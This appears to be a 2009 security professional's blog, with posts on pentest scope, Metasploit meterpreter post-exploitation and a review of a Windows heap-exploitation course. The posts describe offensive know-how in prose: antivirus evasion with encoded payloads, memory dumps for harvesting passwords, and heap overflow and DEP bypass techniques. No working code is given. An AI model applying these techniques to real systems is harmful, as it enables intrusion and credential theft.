While some will certainly disagree with me, I think that a modern penetration test that does not include client-side vulnerabilities, social engineering, and even a simulated targeted malware attack is not in synch with the modern threat landscape and therefore represents an increasing disservice to the client over time. As penetration testing kits start to look more like malware (connectback shellcode, download and execute shellcode, XSS to binary download, etc), this may create or increase conflict between anti-malware vendors and penetration testers. The intent of an encoded standalone metasploit binary payload, carrying something such as meterpreter, the HYDROGEN trojan within CANVAS, or the Core IMPACT Agent ("agent deployed") may be legitimate (in the right hands) but it certainly carries with it the same types of behavior demonstrated by botnet and criminal malware agents. People engaged in professional penetration testing know that it's easy to slide past anti-malware and IPS defenses. The criminal attackers know this too, which places a real challenge upon the anti-malware vendors to evolve to manage the emerging threat. I see evolution in this space happening, and I know there are some really skilled and extremely bright people working in the anti-malware field and I give kudos to them, but the overall trust of anti-malware tools seems to be decreasing over time.

As malware becomes increasingly criminal, and as the public can't fully count on anti-malware tools to help them (although they clearly do reduce infection rates), new strategies must be considered that pit user convenience against security, or suggest a re-working of fundamental use models that must be considered (such as Joe Stewart's suggestion to use an isolated, dedicated system for financial transactions).

When I was doing security consulting in Chicago in 2001, a supervisor of mine used to talk about how it's important not to use a $300 lock to protect a $100 bicycle. This point is well taken, and must be applied to the resources that matter. PCI's requirements and other breach disclosure laws seem to be helping point towards these dynamics. In the landscape of such breaches and other related phenomenon, those that wish to continue to increase their craft in the guild of penetration testing appear to have a rich future ahead of them, and have the opportunity to provide an extremely valuable service to their clients and employers, as long as evolution is allowed to take place.

I'm interested in your respectful comments here, or on Twitter (https://twitter.com/curtw) and appreciate being able to engage such a talented group of people.

Saturday, August 22, 2009

Learning more about meterpreter and ideas for future research

In the course of performing a penetration test, I've taken some time to get more familiar with the Metasploit meterpreter, which is something I've wanted to look into for some time. I saw Skape and spoonm present on meterp at Blackhat some years ago in their post-exploitation talk and I was impressed with the progress they made in providing tools for penetration testers. I was also surprised at just how easy it was to bypass various anti-virus applications by using msfencode and msfpayload to create a stand-alone meterpreter binary. In my day job I'm analyzing malware some of the time and I often see it bypass detections (at least, the signature type detections from virustotal.com) and I'm sure that it's a tough job to attempt to provide good protection in any antivirus product. I applaud anti-malware firms who work to protect people from crimeware. It's a tough problem. Anyway, regarding meterpreter. Considering that reverse shell callbacks could come at unpredictable times (unless one can really set up a scenario that creates predictability - sorta like massaging the heap, but the social engineering equivalent) I first tried (in my test lab) to use PhishScrape.rb from Attack Research as my first test, but it didn't run properly for unknown reasons. I will be looking into this further as time allows, but in the meanwhile did some digging into other meterpreter scripts out there. Came across a technique to upload mdd.exe to perform a memory dump, which could be downloaded or kept on the host and the volatility memory dump analysis tool could be used to extract plain-text passwords from memory (LSA secrets, and the like; makes me think of a bug I found in PuTTY some years ago where even after disconnect, the password was not scrubbed from memory and could be viewed with a memdump tool, a known problem that some other guy made $300 with by selling to iDefense shortly before and unknown to me until after the fact). Considering the amount of RAM on most modern systems, a memdump could be rather large and trigger bandwidth alerting in a netflow or IDS log. If one is trying to be stealthy in a pentest, this would not be good. So I wondered if the target credentials might exist in a specific memoryspace and if just those areas could be dumped with something like skapes memgrep tool (or equivalent) that would seriously save on the bandwidth and disk space requirements involved not to mention shorten the engagement. This might be a worthwhile project, if I can ever get a large block of "free" time. This has likely been done already and I just don't know about it yet.

Anyhow, none of this will be news to people who are actively using meterpreter, but some of the meterpreter script sites I looked at tonight:

http://laramies.blogspot.com/2009/04/meterpreter-post-exploitation-recap.html
http://carnal0wnage.blogspot.com/2009/04/automatic-credential-collection-and.html (greets to CG + valsmith)
http://hkashfi.blogspot.com/2008/04/bypassing-firewalls-with-port_23.html
http://www.phreedom.org/software/metsvc/ (greetings to alexander sotirov, who I haven't yet met)
http://hkashfi.blogspot.com/2008/04/bypassing-firewalls-with-port.html
http://www.indepthdefense.com/2008/10/metasploit-updates-to-msfencode-and-exe.html
http://www.darkoperator.com/meterpreter/
http://www.metasploit.com/users/mc/ (greets to mc)

and an interesting post about the process of a pentest from carnal0wnage

http://carnal0wnage.blogspot.com/2008/10/successful-pentest-with-some-failures.html

I guess I'm going to need to learn ruby somewhere along the line!

Saturday, June 13, 2009

How is your security research being used?

I've removed this blog entry, because since I first posted it, I now feel that the post is naive. The summary of the rant was that concerns about social justice should be considered in addition to typical legal and nationalistic concerns, especially when it comes to offensive security research. But the devil is in the details, and the more I researched the topic the murkier the waters got. Suffice it to say that I will carefully consider where any work that I do ends up - I do not want it to be used to facilitate cybercrime (such as public exploits ending in exploit kits that then rob Grandma of her credit card) nor do I want my work to go towards organizations that I consider to be unethical and immoral, even if selected authorities within such organizations would have us look the other way at their historical and ongoing abuses of power. People who get their technical jollies regardless of the consequences of how their work is used should be informed by a larger sense of ethics and responsibility to the world. Yes, rainbows and unicorns and world peace and an end to world hunger and greed and all that. I'm not holding my breath, however I know where my own moral compass is.

Thursday, May 28, 2009

Pentest/assessment scope

Discussing some dynamics of contemporary pentests with other security professionals indicated that clients may not be willing to expand their scope to include client-side testing. I wrote this to help communicate my thoughts on the matter. I am including web application assessment in this, but don't actually spell it out, perhaps I should. It's a lot to have to handle, to attempt to be good in all these areas.

I propose the combination of a traditional vulnerability assessment and a traditional penetration test plus a client-side penetration test in order to discover not only penetrable issues but also potential issues that may weaken security or be used in a staged attack. This includes the traditional vulnerability assessment process by using scanning tools and manual analysis to find potential issues across all of the attack surface in scope, plus the actual penetration or attempted penetration of any vulnerabilities found, combined with a client-side penetration test in order to reflect a modern real-world attack. A client-side penetration test involves targeting the end users, the software they use, the business processes they engage in, and any access they may already have. Technical vulnerabilities plus "social engineering" techniques are used to more closely match the real risks posed by a modern attacker. A traditional penetration test only covers a portion of the attack surface and can lead to a false sense of security. The scope for such an assessment must be expanded to include attack surface that may lead towards the actual target. Real attacks on hardened targets usually proceed in stages and are rarely thrown directly at the hardened target which has been built to resist such techniques.

Wednesday, May 27, 2009

Immunity's Heap Overflow course review

I'm interested in both defensive and offensive aspects of computer/information security, and have the good fortune to be able to provide services such as penetration testing and security assessments along with typical defensive security operations and practices and malware analysis/research, which gives me a well-rounded perspective with the trade-off that it takes longer to gather deep knowledge due to this same diversity.

I've been interested in memory corruption attacks for some years, starting back when the Morris worm was unleashed. I've written some stack overflows, and other simpler memory corruption exploits, but have never taken the time to learn heap attacks with any significant depth. This changed a few weeks back when I had the good fortune to attend a Windows Heap Overflow course presented by Immunity Inc. and taught mostly by the international expert Nicolas Waisman in sunny Miami Beach Florida (Nicolas Pouvesle, a new Immunity employee also taught a section of the course). This was an excellent opportunity to spend a few days focusing on heap exploitation techniques that I've never quite completely understood *in practice*, having only encountered them in phrack and other security research papers and conference presentations that helped give me some theory.

The class was small - 4 students - which allowed for a good deal of dedicated attention from Nico, who exhibited patience and the willingness to explain things in multiple ways - verbally, visually and with other examples (such as using paper pads as heap chunks and pens as forward and backward link pointers).

Nicolas Waisman giving the foo on the Vista Low Fragmentation Heap


As I'm writing this a few weeks after the course, the exact order of events may be a bit fuzzy, and posted images may not correspond with surrounding text. This write-up won't be too useful for people who are already skilled with heap techniques; such people won't likely learn anything new but for people like myself who have interest but little hands-on exposure may gain something new.

We started off on day one with basic heap theory which helped give us the necessary foundations to move forward. This included concepts such as the heap layout, the freelist, the lookaside list, unlinking and coalescence. Next, we moved to hands-on analysis with Windows 2000 virtual machines and analyzed the now-obsolete unlink technique with a crafted service that was specifically designed to respond to Immunity's VisualSploit tool. We studied the concept and practice of a Write4, writing 4 bytes of our choice to a location of our choice and analyzed the whole process step-by-step with Immunity Debugger, which is my debugger of choice for fumbling around inside Windows. We also analyzed the more rare case of a Write8 from the contrived heap scenario. In the process we also talked about various ways to trigger the crash including the use of the page heap, which I found useful, except when I forgot to disable it and was getting odd results later in the analysis process. Next, we moved onto other useful imdb commands such as !heap and !hippie to set hooks and view heap info. At the time of the class, to make !hippie work we had to select NTDLL.DLL from the executable modules list and analyze it in order for hippie to gather it's prerequisite information on allocation/free hooks. I think Nico said this would be fixed in the future, but I haven't checked for an update since it only takes a few seconds to analyze NTDLL.

Crashing function in Windows 2003 exercise



VisualSploit layout to trigger an early crash in the Freelist[0] exercise



Next up, we practiced massaging the heap and using hard and soft memleaks to get the heap into a state favorable to a more reliable expoit. This was an interesting process to observe through imdb. At some point, we moved into a hands-on exercise taking a look at the spooler service heap corruption vulnerability (MS05-043). I only got part of the way into this particular exercise, as we ran out of time and plus I needed to spend additional time on the previous exercise in order to generate a more solid practical understanding.

Additional information on where to use our Write4 was delivered, such as the use of the PEB Lock, the RtlCommitRoutine, the .data section, RPC dispatch functions, function pointers and lastly the stack. Most of these suggestions were new to me, having never worked with them before (except the stack).

We also had further discussions about the challenges of the techniques of repairing the heap after corruption, and the differing approach taken by Immunity's CANVAS exploitation engine/framework which injects the payload into another process, bypassing the need to deal with the broken heap. The target needs to have SEDebug privs or fork-load, and LSASS was mentioned as fitting the bill. The CANVAS function is apparently self.createHeapSafeInjectionIntoProcess(self.badstring, host, port, smallcode=1) I thought this was a nice approach and shows innovation over the 'repairing the heap' mentality. I have not analyzed how this situation is handled in other exploits such as those written for Metasploit or Core Impact or the occasional stand-alone heap exploit published to Milw0rm by skilled people such as SkyLined.

We then spent time on some Lookaside methodology discovered/publicized by Oded Horovitz. I thought it was pretty cool that one of the techniques can end up transforming two Write4's into a write of up to 1024 bytes. The second technique on the Lookaside only needs one Write4, but points the Lookaside index into a function pointer. By this stage, it was nice to see the theory falling into place and I could feel several "aha!" moments taking place.

Next a section on RPC heap issues was discussed. Immunity has other course material that covers this in more depth, and I believe they are discontinuing the dedicated RPC course and rolling the contents into the "unethical hacking" class, if I recall correctly. IDA pro analysis screenshots were used here, then it was mentioned that we could use imdb's !getrpc to fetch the location of the function pointer array located in the writeable .data segment. Taking a look at the UUID of some RPC functions reminded me of using Nessus to enumerate the MSRPC DCE endpoints some years ago when I was a consultant in Chicago (and in times since). At that time in Chicago, I only had a vague notion of what the UUID represented, but it was nice to have things tie together in this section of the class. I don't think I'll be auditing any RPC services any time soon, but it was very interesting and practical.

Next we moved into covering methodology to bypass XP SP2+ and 2003 heap protections, starting with the use of the Lookaside and it's use of a vulnerable single-linked list pointer to perform a Write4 through the overwrite of a free lookaside chunks pointer with a fake pointer. Exploitation can then take place through various allocations until the crafted pointer is returned. The next technique was the FreeList[0] insert, which I thought was pretty interesting. Somewhere in here, Nico used several pads of paper to represent heap chunks on Freelist[0] and pens as the link pointers, which helped me to visually process the methodology.

This image shows an overflow into the freelist prior to alignment.



Next up was a DEP bypass, via a ret2libc technique. Nico showed a nice trick to switch the heap into the stack and then call ntdll.ZwSetInformationProcess, bypassing null bytes by jumping to just the right mem location. As I was falling behind at this stage of the course, Nico walked me through the process and I was impressed with the elegance of this hack and watching each step of the way with the very useful imdb scripts. I think that Skape & company covered a similar technique in one of the issues of the Uninformed journal. In hindsight, it would be have been nice to turn on the VMware video feature to save the example of this taking place for later review. It's not every day (for me at least) that I have the time and the means to step through such a technique with an international heap expert. JMP ESP ftw!

Heap to ESP location found via imdb search



VisualSploit setup for the DEP bypass technique



The last day was dedicated to covering the Vista heap, which has been redesigned to be much more secure. I found there was a great deal of information here and I found my brain starting to gum up with pointers and chunks and other heap related matters and had a harder time concentrating. But Nico did a good job handling this material, I only wish I had more time to sit with it and him. We covered the low-fragmentation heap (LFH), I_Buckets (replacing the FreeList) and more. The walkthrough on the LFH was when I began to notice my eyes seriously glazing over as I began to reach saturation threshold. Still, I appreciated some of the expressive wording in the training material such as "We need to be able to predict and control a heap universe..." as well as the focus-inducing "Whats important so far" heading, which helped my eyes unglaze a bit. We didn't have time to cover all the Vista exercises, but soon moved on into the PHEAP technique.

The PHEAP technique, presented by Ben Hawkes at RuxCon 2008, was enjoyable. The overwrite of a heap pointer with a crafted chunk (including crafted encrypted values where appropriate) was a nice way to bypass some of the Vista checks that would be very difficult to bypass otherwise and just goes to show how hard it is to truly secure memory allocation processes. The imdb script !benhawkes (as discussed on Nico's blog) is a big time saver with regards to picking addresses that meet the several criteria for use with the technique. Seeing Ben's techniques demonstrated and discussed made me wonder what other Vista heap techniques might exist in the wild, or in private research circles.

By the end of the course, I had learned a great deal about the windows heap, and the idea that heap overflows are much more difficult than stack overflows became an in-the-face reality. There was a lot of material covered, and I found that the ideal scenario would have me spending a full week on this course instead of four days. People with more exposure to debuggers and windows internals would of course need less time. The "drinking from a firehose" concept comes to mind. I could have used more "What's important so far" sections to help re-focus my mind, especially on the 3rd and 4th days when the material got more dense.

Some suggestions that would have made the class more enjoyable for me include the following:

1) A more detailed list of prerequisite knowledge, including specifics. Nico was kind enough to tweet me before the course and give me some pointers, but given my lack of exposure to some of this, I wished I had spent more time preparing. I understand that anyone offering a course wants people to attend and doesn't want to scare people away, but a published list of suggested prerequisites that went into some detail would have been very useful.

2) The 257 page book, printed single sided in landscape. The binding was quality and not likely to break, but it kept wanting to close by itself. I liked to use the book to take notes but since it didn't like to stay open, this required continuous mashing to the desk. This was a distraction, but I knew that if I didn't take notes on some of this, I'd lose it. In hindsight, I should have taken along a larger notebook but taking notes directly on the course materials is one of the best ways for me to focus on the important points.

3) A more consistent and in-sync lab environment. We were plagued by various problems caused by versions being out of sync, causing various problems that slowed me down even further than my already molasses-slow process had me going in the first place. It was easy to fall behind while having to deal with some of these issues. Nico was helpful in passing around the new code, but it would have been nice to have all of this handled ahead of time, allowing the students to focus in on the material as much as possible. In addition, Vmware liked to crash every so often, which would stunt progress. Sometimes, these things are just unavoidable and simply represent the types of real-world challenges that we all have to face, but in a four day from-the-firehose course, minimal issues of this nature would have been favorable.

4) Video walkthroughs of some of the lab exercises. It would be as simple as turning on the Vmware video recorder while stepping through an exercise. The student could then pause the exercise and rewind as needed to follow the methodology as it's put into practice. Such walkthroughs would be very helpful for people who had trouble remembering everything after the fact. Perhaps others with younger brains would have an easier time of this than I, a 40 year old greying computer nerd who started out in the 80's with a Commodore VIC=20.

5) An analysis of client-side heap exploitation attacks, such as looking at some of the in-the-wild attacks on Adobe Acrobat Reader that use javascript-based heap sprays to accomplish their evil. Everything in the course was more or less focused on the OS itself, which is of great value but taking a look at the contemporary client-side attack surface in more detail, or even just a few video examples would have been nice. That being said, there is only so much time and it must be challenging trying to fit in so much material into a 4 day course.

6) Some area, perhaps on the Immunity forum, for class members to discuss the course after the course ends, perhaps up to 3 months worth of access (or longer). Sure, this could be done with a google group or private e-mails but a forum might be useful for others taking the course(s) in the future, to build some history and community.

Overall, I enjoyed the course a great deal, with my favorite part being when Nico walked me through one of the Windows 2003 DEP bypass techniques in Immunity Debugger that I only previously knew from theory. It was great to get *practical* information that's real-world and usable now. Other courses sometimes focus only on the ancient, long-dead techniques, raking in a few thousand dollars to have you exploit Windows 2000 and RedHat 9, which will be of limited value in practical application such as doing security research, writing PoC's and doing pentests on custom binaries.

A very nice personal touch took place each day at lunch, when other Immunity employees visited. Justine Aitel brought them by and it was great to meet quite a few of the Miami-Beach based Immunity staff. We also got to see a basic demo of a slick SILICA device, although the "click here to pwn the network" button never got pressed :)

After the last day of the course, we all went to the Immunity HQ on Alton Road and had drinks, food and conversation. This was a great way to cap things off. In addition to social time, much good discussion was had, including some excellent brainstorming on a webapp assessment I'm doing, discussed with an Immunity staffer. My thanks to Justine for her facilitation of this! Afterwards I walked over to Whole Foods for a super-expensive-but-tasty healthy dinner.

I would highly recommend the Immunity Heap exploitation course to anyone who is looking to gain a deeper and practical understanding of heap exploitation methodology and technique. Simply taking a few days to focus on the material at hand has given me a large boost of understanding into this classic exploitation technique and hands-on skills to use this information in practice.

Wednesday, May 13, 2009

Greetings


Perpetual Horizon is the title to one of my songs that neatly expresses my viewpoint on the continually unfolding nature of life and experience as it manifests through multi-faceted expressions.The field of computer security and insecurity can be encapsulated into this idea, as it continually unfolds into newness, requiring practitioners to expand their knowledge, skills and perspectives over time.

Content will typically consist of technical computer security matters, which is my current profession and also a long-standing interest. Sub-topics might cover security research (defensive and offensive), malware and compromise analysis, penetration testing and assessment, tutorials, observations on current events, unusual discoveries, learning experiences, security conferences, sociological commentary, rants and more.

Updated 1/2/10 to reflect specific focus on computer and information security matters